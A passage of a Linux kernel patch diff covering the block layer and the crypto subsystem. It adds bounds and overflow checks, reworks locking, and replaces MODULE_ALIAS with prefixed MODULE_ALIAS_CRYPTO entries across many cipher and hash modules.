ext_devt_mutex prevents look up +/* For extended devt allocation. ext_devt_lock prevents look up * results from going away underneath its user. */ -static DEFINE_MUTEX(ext_devt_mutex); +static DEFINE_SPINLOCK(ext_devt_lock); static DEFINE_IDR(ext_devt_idr); static struct device_type disk_type; @@ -420,9 +420,13 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt) } /* allocate ext devt */ - mutex_lock(&ext_devt_mutex); - idx = idr_alloc(&ext_devt_idr, part, 0, NR_EXT_DEVT, GFP_KERNEL); - mutex_unlock(&ext_devt_mutex); + idr_preload(GFP_KERNEL); + + spin_lock_bh(&ext_devt_lock); + idx = idr_alloc(&ext_devt_idr, part, 0, NR_EXT_DEVT, GFP_NOWAIT); + spin_unlock_bh(&ext_devt_lock); + + idr_preload_end(); if (idx < 0) return idx == -ENOSPC ? -EBUSY : idx; @@ -441,15 +445,13 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt) */ void blk_free_devt(dev_t devt) { - might_sleep(); - if (devt == MKDEV(0, 0)) return; if (MAJOR(devt) == BLOCK_EXT_MAJOR) { - mutex_lock(&ext_devt_mutex); + spin_lock_bh(&ext_devt_lock); idr_remove(&ext_devt_idr, blk_mangle_minor(MINOR(devt))); - mutex_unlock(&ext_devt_mutex); + spin_unlock_bh(&ext_devt_lock); } } @@ -665,7 +667,6 @@ void del_gendisk(struct gendisk *disk) sysfs_remove_link(block_depr, dev_name(disk_to_dev(disk))); pm_runtime_set_memalloc_noio(disk_to_dev(disk), false); device_del(disk_to_dev(disk)); - blk_free_devt(disk_to_dev(disk)->devt); } EXPORT_SYMBOL(del_gendisk); @@ -690,13 +691,13 @@ struct gendisk *get_gendisk(dev_t devt, int *partno) } else { struct hd_struct *part; - mutex_lock(&ext_devt_mutex); + spin_lock_bh(&ext_devt_lock); part = idr_find(&ext_devt_idr, blk_mangle_minor(MINOR(devt))); if (part && get_disk(part_to_disk(part))) { *partno = part->partno; disk = part_to_disk(part); } - mutex_unlock(&ext_devt_mutex); + spin_unlock_bh(&ext_devt_lock); } return disk; @@ -1070,9 +1071,16 @@ int disk_expand_part_tbl(struct gendisk *disk, int partno) struct disk_part_tbl *old_ptbl = disk->part_tbl; struct disk_part_tbl *new_ptbl; int len = old_ptbl ? old_ptbl->len : 0; - int target = partno + 1; + int i, target; size_t size; - int i; + + /* + * check for int overflow, since we can get here from blkpg_ioctl() + * with a user passed 'partno'. + */ + target = partno + 1; + if (target < 0) + return -EINVAL; /* disk_max_parts() is zero during initialization, ignore if so */ if (disk_max_parts(disk) && target > disk_max_parts(disk)) @@ -1099,6 +1107,7 @@ static void disk_release(struct device *dev) { struct gendisk *disk = dev_to_disk(dev); + blk_free_devt(dev->devt); disk_release_events(disk); kfree(disk->random); disk_replace_part_tbl(disk, NULL); diff --git a/block/partition-generic.c b/block/partition-generic.c index 9992f2e8a9636..a382f2ae9ed73 100644 --- a/block/partition-generic.c +++ b/block/partition-generic.c @@ -214,6 +214,7 @@ static const struct attribute_group *part_attr_groups[] = { static void part_release(struct device *dev) { struct hd_struct *p = dev_to_part(dev); + blk_free_devt(dev->devt); free_part_stats(p); free_part_info(p); kfree(p); @@ -267,7 +268,6 @@ void delete_partition(struct gendisk *disk, int partno) rcu_assign_pointer(ptbl->last_lookup, NULL); kobject_put(part->holder_dir); device_del(part_to_dev(part)); - blk_free_devt(part_devt(part)); hd_struct_put(part); } diff --git a/block/partitions/mac.c b/block/partitions/mac.c index 76d8ba6379a98..bd5b914652300 100644 --- a/block/partitions/mac.c +++ b/block/partitions/mac.c @@ -32,7 +32,7 @@ int mac_partition(struct parsed_partitions *state) Sector sect; unsigned char *data; int slot, blocks_in_map; - unsigned secsize; + unsigned secsize, datasize, partoffset; #ifdef CONFIG_PPC_PMAC int found_root = 0; int found_root_goodness = 0; @@ -50,10 +50,14 @@ int mac_partition(struct parsed_partitions *state) } secsize = be16_to_cpu(md->block_size); put_dev_sector(sect); - data = read_part_sector(state, secsize/512, §); + datasize = round_down(secsize, 512); + data = read_part_sector(state, datasize / 512, §); if (!data) return -1; - part = (struct mac_partition *) (data + secsize%512); + partoffset = secsize % 512; + if (partoffset + sizeof(*part) > datasize) + return -1; + part = (struct mac_partition *) (data + partoffset); if (be16_to_cpu(part->signature) != MAC_PARTITION_MAGIC) { put_dev_sector(sect); return 0; /* not a MacOS disk */ diff --git a/block/scsi_ioctl.c b/block/scsi_ioctl.c index a5ffcc988f0b0..1b4988b4bc11e 100644 --- a/block/scsi_ioctl.c +++ b/block/scsi_ioctl.c @@ -506,7 +506,7 @@ int sg_scsi_ioctl(struct request_queue *q, struct gendisk *disk, fmode_t mode, if (bytes && blk_rq_map_kern(q, rq, buffer, bytes, __GFP_WAIT)) { err = DRIVER_ERROR << 24; - goto out; + goto error; } memset(sense, 0, sizeof(sense)); @@ -516,7 +516,6 @@ int sg_scsi_ioctl(struct request_queue *q, struct gendisk *disk, fmode_t mode, blk_execute_rq(q, disk, rq, 0); -out: err = rq->errors & 0xff; /* only 8 bit SCSI status */ if (err) { if (rq->sense_len && rq->sense) { diff --git a/crypto/842.c b/crypto/842.c index 65c7a89cfa090..b48f4f108c474 100644 --- a/crypto/842.c +++ b/crypto/842.c @@ -180,3 +180,4 @@ module_exit(nx842_mod_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("842 Compression Algorithm"); +MODULE_ALIAS_CRYPTO("842"); diff --git a/crypto/ablkcipher.c b/crypto/ablkcipher.c index 7d4a8d28277e1..ebcec7439a1a3 100644 --- a/crypto/ablkcipher.c +++ b/crypto/ablkcipher.c @@ -700,7 +700,7 @@ struct crypto_ablkcipher *crypto_alloc_ablkcipher(const char *alg_name, err: if (err != -EAGAIN) break; - if (signal_pending(current)) { + if (fatal_signal_pending(current)) { err = -EINTR; break; } diff --git a/crypto/aes_generic.c b/crypto/aes_generic.c index 47f2e5c717591..e138ad85bd834 100644 --- a/crypto/aes_generic.c +++ b/crypto/aes_generic.c @@ -1474,4 +1474,5 @@ module_exit(aes_fini); MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm"); MODULE_LICENSE("Dual BSD/GPL"); -MODULE_ALIAS("aes"); +MODULE_ALIAS_CRYPTO("aes"); +MODULE_ALIAS_CRYPTO("aes-generic"); diff --git a/crypto/af_alg.c b/crypto/af_alg.c index ac33d5f307782..1aaa555fab56b 100644 --- a/crypto/af_alg.c +++ b/crypto/af_alg.c @@ -21,6 +21,7 @@ #include #include #include +#include struct alg_type_list { const struct af_alg_type *type; @@ -243,12 +244,11 @@ int af_alg_accept(struct sock *sk, struct socket *newsock) sock_init_data(newsock, sk2); sock_graft(sk2, newsock); + security_sk_clone(sk, sk2); err = type->accept(ask->private, sk2); - if (err) { - sk_free(sk2); + if (err) goto unlock; - } sk2->sk_family = PF_ALG; @@ -447,6 +447,9 @@ void af_alg_complete(struct crypto_async_request *req, int err) { struct af_alg_completion *completion = req->data; + if (err == -EINPROGRESS) + return; + completion->err = err; complete(&completion->completion); } diff --git a/crypto/ahash.c b/crypto/ahash.c index 793a27f2493e5..bcd5efc7eb4c2 100644 --- a/crypto/ahash.c +++ b/crypto/ahash.c @@ -64,8 +64,9 @@ static int hash_walk_new_entry(struct crypto_hash_walk *walk) struct scatterlist *sg; sg = walk->sg; - walk->pg = sg_page(sg); walk->offset = sg->offset; + walk->pg = sg_page(walk->sg) + (walk->offset >> PAGE_SHIFT); + walk->offset = offset_in_page(walk->offset); walk->entrylen = sg->length; if (walk->entrylen > walk->total) @@ -462,7 +463,8 @@ static int ahash_prepare_alg(struct ahash_alg *alg) struct crypto_alg *base = &alg->halg.base; if (alg->halg.digestsize > PAGE_SIZE / 8 || - alg->halg.statesize > PAGE_SIZE / 8) + alg->halg.statesize > PAGE_SIZE / 8 || + alg->halg.statesize == 0) return -EINVAL; base->cra_type = &crypto_ahash_type; diff --git a/crypto/algapi.c b/crypto/algapi.c index 7a1ae87f16834..daf2f653b131b 100644 --- a/crypto/algapi.c +++ b/crypto/algapi.c @@ -325,7 +325,7 @@ static void crypto_wait_for_test(struct crypto_larval *larval) crypto_alg_tested(larval->alg.cra_driver_name, 0); } - err = wait_for_completion_interruptible(&larval->completion); + err = wait_for_completion_killable(&larval->completion); WARN_ON(err); out: @@ -495,8 +495,8 @@ static struct crypto_template *__crypto_lookup_template(const char *name) struct crypto_template *crypto_lookup_template(const char *name) { - return try_then_request_module(__crypto_lookup_template(name), "%s", - name); + return try_then_request_module(__crypto_lookup_template(name), + "crypto-%s", name); } EXPORT_SYMBOL_GPL(crypto_lookup_template); diff --git a/crypto/algif_hash.c b/crypto/algif_hash.c index 850246206b125..c542c0d88afde 100644 --- a/crypto/algif_hash.c +++ b/crypto/algif_hash.c @@ -51,7 +51,8 @@ static int hash_sendmsg(struct kiocb *unused, struct socket *sock, lock_sock(sk); if (!ctx->more) { - err = crypto_ahash_init(&ctx->req); + err = af_alg_wait_for_completion(crypto_ahash_init(&ctx->req), + &ctx->completion); if (err) goto unlock; } @@ -131,6 +132,7 @@ static ssize_t hash_sendpage(struct socket *sock, struct page *page, } else { if (!ctx->more) { err = crypto_ahash_init(&ctx->req); + err = af_alg_wait_for_completion(err, &ctx->completion); if (err) goto unlock; } @@ -192,9 +194,14 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags) struct sock *sk2; struct alg_sock *ask2; struct hash_ctx *ctx2; + bool more; int err; - err = crypto_ahash_export(req, state); + lock_sock(sk); + more = ctx->more; + err = more ? crypto_ahash_export(req, state) : 0; + release_sock(sk); + if (err) return err; @@ -205,7 +212,10 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags) sk2 = newsock->sk; ask2 = alg_sk(sk2); ctx2 = ask2->private; - ctx2->more = 1; + ctx2->more = more; + + if (!more) + return err; err = crypto_ahash_import(&ctx2->req, state); if (err) { diff --git a/crypto/algif_skcipher.c b/crypto/algif_skcipher.c index a19c027b29bde..83187f497c7c6 100644 --- a/crypto/algif_skcipher.c +++ b/crypto/algif_skcipher.c @@ -49,7 +49,7 @@ struct skcipher_ctx { struct ablkcipher_request req; }; -#define MAX_SGL_ENTS ((PAGE_SIZE - sizeof(struct skcipher_sg_list)) / \ +#define MAX_SGL_ENTS ((4096 - sizeof(struct skcipher_sg_list)) / \ sizeof(struct scatterlist) - 1) static inline int skcipher_sndbuf(struct sock *sk) diff --git a/crypto/ansi_cprng.c b/crypto/ansi_cprng.c index 666f1962a160f..6f5bebc9bf01e 100644 --- a/crypto/ansi_cprng.c +++ b/crypto/ansi_cprng.c @@ -476,4 +476,5 @@ module_param(dbg, int, 0); MODULE_PARM_DESC(dbg, "Boolean to enable debugging (0/1 == off/on)"); module_init(prng_mod_init); module_exit(prng_mod_fini); -MODULE_ALIAS("stdrng"); +MODULE_ALIAS_CRYPTO("stdrng"); +MODULE_ALIAS_CRYPTO("ansi_cprng"); diff --git a/crypto/anubis.c b/crypto/anubis.c index 008c8a4fb67ca..4bb187c2a9027 100644 --- a/crypto/anubis.c +++ b/crypto/anubis.c @@ -704,3 +704,4 @@ module_exit(anubis_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Anubis Cryptographic Algorithm"); +MODULE_ALIAS_CRYPTO("anubis"); diff --git a/crypto/api.c b/crypto/api.c index 37c4c7213de07..36a0d4602eba1 100644 --- a/crypto/api.c +++ b/crypto/api.c @@ -172,7 +172,7 @@ static struct crypto_alg *crypto_larval_wait(struct crypto_alg *alg) struct crypto_larval *larval = (void *)alg; long timeout; - timeout = wait_for_completion_interruptible_timeout( + timeout = wait_for_completion_killable_timeout( &larval->completion, 60 * HZ); alg = larval->adult; @@ -216,11 +216,11 @@ struct crypto_alg *crypto_larval_lookup(const char *name, u32 type, u32 mask) alg = crypto_alg_lookup(name, type, mask); if (!alg) { - request_module("%s", name); + request_module("crypto-%s", name); if (!((type ^ CRYPTO_ALG_NEED_FALLBACK) & mask & CRYPTO_ALG_NEED_FALLBACK)) - request_module("%s-all", name); + request_module("crypto-%s-all", name); alg = crypto_alg_lookup(name, type, mask); } @@ -435,7 +435,7 @@ struct crypto_tfm *crypto_alloc_base(const char *alg_name, u32 type, u32 mask) err: if (err != -EAGAIN) break; - if (signal_pending(current)) { + if (fatal_signal_pending(current)) { err = -EINTR; break; } @@ -552,7 +552,7 @@ void *crypto_alloc_tfm(const char *alg_name, err: if (err != -EAGAIN) break; - if (signal_pending(current)) { + if (fatal_signal_pending(current)) { err = -EINTR; break; } diff --git a/crypto/arc4.c b/crypto/arc4.c index 5a772c3657d58..f1a81925558fa 100644 --- a/crypto/arc4.c +++ b/crypto/arc4.c @@ -166,3 +166,4 @@ module_exit(arc4_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("ARC4 Cipher Algorithm"); MODULE_AUTHOR("Jon Oberheide "); +MODULE_ALIAS_CRYPTO("arc4"); diff --git a/crypto/authenc.c b/crypto/authenc.c index 528b00bc47699..a2cfae251dd51 100644 --- a/crypto/authenc.c +++ b/crypto/authenc.c @@ -709,3 +709,4 @@ module_exit(crypto_authenc_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Simple AEAD wrapper for IPsec"); +MODULE_ALIAS_CRYPTO("authenc"); diff --git a/crypto/authencesn.c b/crypto/authencesn.c index ab53762fc309c..16c225cb28c26 100644 --- a/crypto/authencesn.c +++ b/crypto/authencesn.c @@ -832,3 +832,4 @@ module_exit(crypto_authenc_esn_module_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Steffen Klassert "); MODULE_DESCRIPTION("AEAD wrapper for IPsec with extended sequence numbers"); +MODULE_ALIAS_CRYPTO("authencesn"); diff --git a/crypto/blowfish_generic.c b/crypto/blowfish_generic.c index 8baf5447d35b5..87b392a77a939 100644 --- a/crypto/blowfish_generic.c +++ b/crypto/blowfish_generic.c @@ -138,4 +138,5 @@ module_exit(blowfish_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Blowfish Cipher Algorithm"); -MODULE_ALIAS("blowfish"); +MODULE_ALIAS_CRYPTO("blowfish"); +MODULE_ALIAS_CRYPTO("blowfish-generic"); diff --git a/crypto/camellia_generic.c b/crypto/camellia_generic.c index 75efa20523053..029587f808f47 100644 --- a/crypto/camellia_generic.c +++ b/crypto/camellia_generic.c @@ -1098,4 +1098,5 @@ module_exit(camellia_fini); MODULE_DESCRIPTION("Camellia Cipher Algorithm"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("camellia"); +MODULE_ALIAS_CRYPTO("camellia"); +MODULE_ALIAS_CRYPTO("camellia-generic"); diff --git a/crypto/cast5_generic.c b/crypto/cast5_generic.c index 5558f630a0ebd..df5c72629383d 100644 --- a/crypto/cast5_generic.c +++ b/crypto/cast5_generic.c @@ -549,4 +549,5 @@ module_exit(cast5_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Cast5 Cipher Algorithm"); -MODULE_ALIAS("cast5"); +MODULE_ALIAS_CRYPTO("cast5"); +MODULE_ALIAS_CRYPTO("cast5-generic"); diff --git a/crypto/cast6_generic.c b/crypto/cast6_generic.c index de732528a4304..058c8d755d036 100644 --- a/crypto/cast6_generic.c +++ b/crypto/cast6_generic.c @@ -291,4 +291,5 @@ module_exit(cast6_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Cast6 Cipher Algorithm"); -MODULE_ALIAS("cast6"); +MODULE_ALIAS_CRYPTO("cast6"); +MODULE_ALIAS_CRYPTO("cast6-generic"); diff --git a/crypto/cbc.c b/crypto/cbc.c index 61ac42e1e32bb..780ee27b2d43d 100644 --- a/crypto/cbc.c +++ b/crypto/cbc.c @@ -289,3 +289,4 @@ module_exit(crypto_cbc_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CBC block cipher algorithm"); +MODULE_ALIAS_CRYPTO("cbc"); diff --git a/crypto/ccm.c b/crypto/ccm.c index ed009b77e67d1..c569c9c6afe32 100644 --- a/crypto/ccm.c +++ b/crypto/ccm.c @@ -879,5 +879,6 @@ module_exit(crypto_ccm_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Counter with CBC MAC"); -MODULE_ALIAS("ccm_base"); -MODULE_ALIAS("rfc4309"); +MODULE_ALIAS_CRYPTO("ccm_base"); +MODULE_ALIAS_CRYPTO("rfc4309"); +MODULE_ALIAS_CRYPTO("ccm"); diff --git a/crypto/chainiv.c b/crypto/chainiv.c index 9c294c8f9a078..63c17d5992f79 100644 --- a/crypto/chainiv.c +++ b/crypto/chainiv.c @@ -359,3 +359,4 @@ module_exit(chainiv_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Chain IV Generator"); +MODULE_ALIAS_CRYPTO("chainiv"); diff --git a/crypto/cmac.c b/crypto/cmac.c index 50880cf17fad7..7a8bfbd548f60 100644 --- a/crypto/cmac.c +++ b/crypto/cmac.c @@ -313,3 +313,4 @@ module_exit(crypto_cmac_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CMAC keyed hash algorithm"); +MODULE_ALIAS_CRYPTO("cmac"); diff --git a/crypto/crc32.c b/crypto/crc32.c index 9d1c41569898a..187ded28cb0bd 100644 --- a/crypto/crc32.c +++ b/crypto/crc32.c @@ -156,3 +156,4 @@ module_exit(crc32_mod_fini); MODULE_AUTHOR("Alexander Boyko "); MODULE_DESCRIPTION("CRC32 calculations wrapper for lib/crc32"); MODULE_LICENSE("GPL"); +MODULE_ALIAS_CRYPTO("crc32"); diff --git a/crypto/crc32c.c b/crypto/crc32c.c index 06f7018c9d952..238f0e627ef3f 100644 --- a/crypto/crc32c.c +++ b/crypto/crc32c.c @@ -170,3 +170,4 @@ module_exit(crc32c_mod_fini); MODULE_AUTHOR("Clay Haapala "); MODULE_DESCRIPTION("CRC32c (Castagnoli) calculations wrapper for lib/crc32c"); MODULE_LICENSE("GPL"); +MODULE_ALIAS_CRYPTO("crc32c"); diff --git a/crypto/cryptd.c b/crypto/cryptd.c index 7bdd61b867c89..75c415d370869 100644 --- a/crypto/cryptd.c +++ b/crypto/cryptd.c @@ -955,3 +955,4 @@ module_exit(cryptd_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Software async crypto daemon"); +MODULE_ALIAS_CRYPTO("cryptd"); diff --git a/crypto/crypto_null.c b/crypto/crypto_null.c index fee7265cd35df..7b39fa3deac2a 100644 --- a/crypto/crypto_null.c +++ b/crypto/crypto_null.c @@ -149,9 +149,9 @@ static struct crypto_alg null_algs[3] = { { .coa_decompress = null_compress } } } }; -MODULE_ALIAS("compress_null"); -MODULE_ALIAS("digest_null"); -MODULE_ALIAS("cipher_null"); +MODULE_ALIAS_CRYPTO("compress_null"); +MODULE_ALIAS_CRYPTO("digest_null"); +MODULE_ALIAS_CRYPTO("cipher_null"); static int __init crypto_null_mod_init(void) { diff --git a/crypto/crypto_user.c b/crypto/crypto_user.c index 43665d0d0905d..a3dfc0d83107c 100644 --- a/crypto/crypto_user.c +++ b/crypto/crypto_user.c @@ -361,7 +361,7 @@ static struct crypto_alg *crypto_user_aead_alg(const char *name, u32 type, err = PTR_ERR(alg); if (err != -EAGAIN) break; - if (signal_pending(current)) { + if (fatal_signal_pending(current)) { err = -EINTR; break; } @@ -477,6 +477,7 @@ static int crypto_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) if (link->dump == NULL) return -EINVAL; + down_read(&crypto_alg_sem); list_for_each_entry(alg, &crypto_alg_list, cra_list) dump_alloc += CRYPTO_REPORT_MAXSIZE; @@ -486,8 +487,11 @@ static int crypto_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) .done = link->done, .min_dump_alloc = dump_alloc, }; - return netlink_dump_start(crypto_nlsk, skb, nlh, &c); + err = netlink_dump_start(crypto_nlsk, skb, nlh, &c); } + up_read(&crypto_alg_sem); + + return err; } err = nlmsg_parse(nlh, crypto_msg_min[type], attrs, CRYPTOCFGA_MAX, diff --git a/crypto/ctr.c b/crypto/ctr.c index f2b94f27bb2cf..2386f73139520 100644 --- a/crypto/ctr.c +++ b/crypto/ctr.c @@ -466,4 +466,5 @@ module_exit(crypto_ctr_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CTR Counter block mode"); -MODULE_ALIAS("rfc3686"); +MODULE_ALIAS_CRYPTO("rfc3686"); +MODULE_ALIAS_CRYPTO("ctr"); diff --git a/crypto/cts.c b/crypto/cts.c index 042223f8e7336..60b9da3fa7c1c 100644 --- a/crypto/cts.c +++ b/crypto/cts.c @@ -350,3 +350,4 @@ module_exit(crypto_cts_module_exit); MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("CTS-CBC CipherText Stealing for CBC"); +MODULE_ALIAS_CRYPTO("cts"); diff --git a/crypto/deflate.c b/crypto/deflate.c index b57d70eb156b8..95d8d37c50218 100644 --- a/crypto/deflate.c +++ b/crypto/deflate.c @@ -222,4 +222,4 @@ module_exit(deflate_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Deflate Compression Algorithm for IPCOMP"); MODULE_AUTHOR("James Morris "); - +MODULE_ALIAS_CRYPTO("deflate"); diff --git a/crypto/des_generic.c b/crypto/des_generic.c index f6cf63f884682..3ec6071309d96 100644 --- a/crypto/des_generic.c +++ b/crypto/des_generic.c @@ -971,8 +971,6 @@ static struct crypto_alg des_algs[2] = { { .cia_decrypt = des3_ede_decrypt } } } }; -MODULE_ALIAS("des3_ede"); - static int __init des_generic_mod_init(void) { return crypto_register_algs(des_algs, ARRAY_SIZE(des_algs)); @@ -989,4 +987,7 @@ module_exit(des_generic_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms"); MODULE_AUTHOR("Dag Arne Osvik "); -MODULE_ALIAS("des"); +MODULE_ALIAS_CRYPTO("des"); +MODULE_ALIAS_CRYPTO("des-generic"); +MODULE_ALIAS_CRYPTO("des3_ede"); +MODULE_ALIAS_CRYPTO("des3_ede-generic"); diff --git a/crypto/ecb.c b/crypto/ecb.c index 935cfef4aa847..12011aff09713 100644 --- a/crypto/ecb.c +++ b/crypto/ecb.c @@ -185,3 +185,4 @@ module_exit(crypto_ecb_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("ECB block cipher algorithm"); +MODULE_ALIAS_CRYPTO("ecb"); diff --git a/crypto/eseqiv.c b/crypto/eseqiv.c index 42ce9f570aecc..388f582ab0b94 100644 --- a/crypto/eseqiv.c +++ b/crypto/eseqiv.c @@ -267,3 +267,4 @@ module_exit(eseqiv_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Encrypted Sequence Number IV Generator"); +MODULE_ALIAS_CRYPTO("eseqiv"); diff --git a/crypto/fcrypt.c b/crypto/fcrypt.c index 3b2cf569c684f..300f5b80a0740 100644 --- a/crypto/fcrypt.c +++ b/crypto/fcrypt.c @@ -420,3 +420,4 @@ module_exit(fcrypt_mod_fini); MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("FCrypt Cipher Algorithm"); MODULE_AUTHOR("David Howells "); +MODULE_ALIAS_CRYPTO("fcrypt"); diff --git a/crypto/gcm.c b/crypto/gcm.c index 43e1fb05ea548..451e420ce56cf 100644 --- a/crypto/gcm.c +++ b/crypto/gcm.c @@ -716,7 +716,9 @@ static struct crypto_instance *crypto_gcm_alloc_common(struct rtattr **tb, ghash_alg = crypto_find_alg(ghash_name, &crypto_ahash_type, CRYPTO_ALG_TYPE_HASH, - CRYPTO_ALG_TYPE_AHASH_MASK); + CRYPTO_ALG_TYPE_AHASH_MASK | + crypto_requires_sync(algt->type, + algt->mask)); if (IS_ERR(ghash_alg)) return ERR_CAST(ghash_alg); @@ -1173,6 +1175,9 @@ static struct aead_request *crypto_rfc4543_crypt(struct aead_request *req, aead_request_set_tfm(subreq, ctx->child); aead_request_set_callback(subreq, req->base.flags, crypto_rfc4543_done, req); + if (!enc) + aead_request_set_callback(subreq, req->base.flags, + req->base.complete, req->base.data); aead_request_set_crypt(subreq, cipher, cipher, enc ? 0 : authsize, iv); aead_request_set_assoc(subreq, assoc, assoclen); @@ -1441,6 +1446,7 @@ module_exit(crypto_gcm_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Galois/Counter Mode"); MODULE_AUTHOR("Mikko Herranen "); -MODULE_ALIAS("gcm_base"); -MODULE_ALIAS("rfc4106"); -MODULE_ALIAS("rfc4543"); +MODULE_ALIAS_CRYPTO("gcm_base"); +MODULE_ALIAS_CRYPTO("rfc4106"); +MODULE_ALIAS_CRYPTO("rfc4543"); +MODULE_ALIAS_CRYPTO("gcm"); diff --git a/crypto/ghash-generic.c b/crypto/ghash-generic.c index 9d3f0c69a86ff..bac70995e0640 100644 --- a/crypto/ghash-generic.c +++ b/crypto/ghash-generic.c @@ -172,4 +172,5 @@ module_exit(ghash_mod_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("GHASH Message Digest Algorithm"); -MODULE_ALIAS("ghash"); +MODULE_ALIAS_CRYPTO("ghash"); +MODULE_ALIAS_CRYPTO("ghash-generic"); diff --git a/crypto/hmac.c b/crypto/hmac.c index 8d9544cf8169f..ade790b454e99 100644 --- a/crypto/hmac.c +++ b/crypto/hmac.c @@ -271,3 +271,4 @@ module_exit(hmac_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("HMAC hash algorithm"); +MODULE_ALIAS_CRYPTO("hmac"); diff --git a/crypto/khazad.c b/crypto/khazad.c index 60e7cd66facc8..873eb5ded6d7a 100644 --- a/crypto/khazad.c +++ b/crypto/khazad.c @@ -880,3 +880,4 @@ module_exit(khazad_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Khazad Cryptographic Algorithm"); +MODULE_ALIAS_CRYPTO("khazad"); diff --git a/crypto/krng.c b/crypto/krng.c index a2d2b72fc135b..0224841b6579a 100644 --- a/crypto/krng.c +++ b/crypto/krng.c @@ -62,4 +62,5 @@ module_exit(krng_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Kernel Random Number Generator"); -MODULE_ALIAS("stdrng"); +MODULE_ALIAS_CRYPTO("stdrng"); +MODULE_ALIAS_CRYPTO("krng"); diff --git a/crypto/lrw.c b/crypto/lrw.c index ba42acc4deba8..6f9908a7ebcbe 100644 --- a/crypto/lrw.c +++ b/crypto/lrw.c @@ -400,3 +400,4 @@ module_exit(crypto_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("LRW block cipher mode"); +MODULE_ALIAS_CRYPTO("lrw"); diff --git a/crypto/lzo.c b/crypto/lzo.c index 1c2aa69c54b85..d1ff69404353e 100644 --- a/crypto/lzo.c +++ b/crypto/lzo.c @@ -103,3 +103,4 @@ module_exit(lzo_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("LZO Compression Algorithm"); +MODULE_ALIAS_CRYPTO("lzo"); diff --git a/crypto/md4.c b/crypto/md4.c index 0477a6a01d582..3515af425cc91 100644 --- a/crypto/md4.c +++ b/crypto/md4.c @@ -255,4 +255,4 @@ module_exit(md4_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("MD4 Message Digest Algorithm"); - +MODULE_ALIAS_CRYPTO("md4"); diff --git a/crypto/md5.c b/crypto/md5.c index 7febeaab923bc..36f5e5b103f30 100644 --- a/crypto/md5.c +++ b/crypto/md5.c @@ -168,3 +168,4 @@ module_exit(md5_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("MD5 Message Digest Algorithm"); +MODULE_ALIAS_CRYPTO("md5"); diff --git a/crypto/michael_mic.c b/crypto/michael_mic.c index 079b761bc70d1..46195e0d0f4d1 100644 --- a/crypto/michael_mic.c +++ b/crypto/michael_mic.c @@ -184,3 +184,4 @@ module_exit(michael_mic_exit); MODULE_LICENSE("GPL v2"); MODULE_DESCRIPTION("Michael MIC"); MODULE_AUTHOR("Jouni Malinen "); +MODULE_ALIAS_CRYPTO("michael_mic"); diff --git a/crypto/pcbc.c b/crypto/pcbc.c index d1b8bdfb58551..f654965f09338 100644 --- a/crypto/pcbc.c +++ b/crypto/pcbc.c @@ -295,3 +295,4 @@ module_exit(crypto_pcbc_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PCBC block cipher algorithm"); +MODULE_ALIAS_CRYPTO("pcbc"); diff --git a/crypto/pcrypt.c b/crypto/pcrypt.c index b2c99dc1c5e2f..61ff946db7484 100644 --- a/crypto/pcrypt.c +++ b/crypto/pcrypt.c @@ -565,3 +565,4 @@ module_exit(pcrypt_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Steffen Klassert "); MODULE_DESCRIPTION("Parallel crypto wrapper"); +MODULE_ALIAS_CRYPTO("pcrypt"); diff --git a/crypto/rmd128.c b/crypto/rmd128.c index 8a0f68b7f257f..049486ede938f 100644 --- a/crypto/rmd128.c +++ b/crypto/rmd128.c @@ -327,3 +327,4 @@ module_exit(rmd128_mod_fini); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Adrian-Ken Rueegsegger "); MODULE_DESCRIPTION("RIPEMD-128 Message Digest"); +MODULE_ALIAS_CRYPTO("rmd128"); diff --git a/crypto/rmd160.c b/crypto/rmd160.c index 525d7bb752cf6..de585e51d455f 100644 --- a/crypto/rmd160.c +++ b/crypto/rmd160.c @@ -371,3 +371,4 @@ module_exit(rmd160_mod_fini); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Adrian-Ken Rueegsegger "); MODULE_DESCRIPTION("RIPEMD-160 Message Digest"); +MODULE_ALIAS_CRYPTO("rmd160"); diff --git a/crypto/rmd256.c b/crypto/rmd256.c index 69293d9b56e0c..4ec02a754e099 